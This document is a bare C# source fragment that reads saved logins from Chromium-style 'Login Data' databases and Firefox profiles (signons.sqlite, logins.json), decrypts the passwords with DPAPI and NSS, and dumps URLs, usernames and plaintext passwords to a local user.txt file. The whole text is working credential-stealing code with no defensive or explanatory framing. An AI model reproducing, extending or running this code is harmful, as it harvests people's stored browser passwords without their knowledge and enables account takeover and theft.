public void ReadPasswordsList(List <string> list) { foreach (var path in list) { var p = Path.GetFullPath(path); if (File.Exists(p)) { using (var conn = new SQLiteConnection($"Data Source={p};")) { try { conn.Open(); using (var cmd = conn.CreateCommand()) { cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins"; using (var reader = cmd.ExecuteReader()) { if (reader.HasRows) { while (reader.Read()) { var pass = Encoding.UTF8.GetString(ProtectedData.Unprotect(GetBytes(reader, 2), null, DataProtectionScope.CurrentUser)); var x = new CredentialModel() { Url = reader.GetString(0), Username = reader.GetString(1), Password = pass }; File.AppendAllText("user.txt", x + Environment.NewLine); } } } } } catch { } conn.Close(); } } else { } } }
public IEnumerable <CredentialModel> ReadPasswords() { string signonsFile = null; string loginsFile = null; bool signonsFound = false; bool loginsFound = false; string[] dirs = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles")); var logins = new List <CredentialModel>(); if (dirs.Length == 0) { return(logins); } foreach (string dir in dirs) { string[] files = Directory.GetFiles(dir, "signons.sqlite"); if (files.Length > 0) { signonsFile = files[0]; signonsFound = true; } // find "logins.json"file files = Directory.GetFiles(dir, "logins.json"); if (files.Length > 0) { loginsFile = files[0]; loginsFound = true; } if (loginsFound || signonsFound) { FFDecryptor.NSS_Init(dir); break; } } if (signonsFound) { using (var conn = new SQLiteConnection("Data Source=" + signonsFile + ";")) { conn.Open(); using (var command = conn.CreateCommand()) { command.CommandText = "SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins"; using (var reader = command.ExecuteReader()) { while (reader.Read()) { string username = FFDecryptor.Decrypt(reader.GetString(0)); string password = FFDecryptor.Decrypt(reader.GetString(1)); var x = new CredentialModel { Username = username, Password = password, Url = reader.GetString(2) }; File.AppendAllText("user.txt", x + Environment.NewLine); } } } conn.Close(); } } if (loginsFound) { FFLogins ffLoginData; using (StreamReader sr = new StreamReader(loginsFile)) { string json = sr.ReadToEnd(); ffLoginData = JsonConvert.DeserializeObject <FFLogins>(json); } foreach (LoginData loginData in ffLoginData.logins) { string username = FFDecryptor.Decrypt(loginData.encryptedUsername); string password = FFDecryptor.Decrypt(loginData.encryptedPassword); logins.Add(new CredentialModel { Username = username, Password = password, Url = loginData.hostname }); } } return(logins); }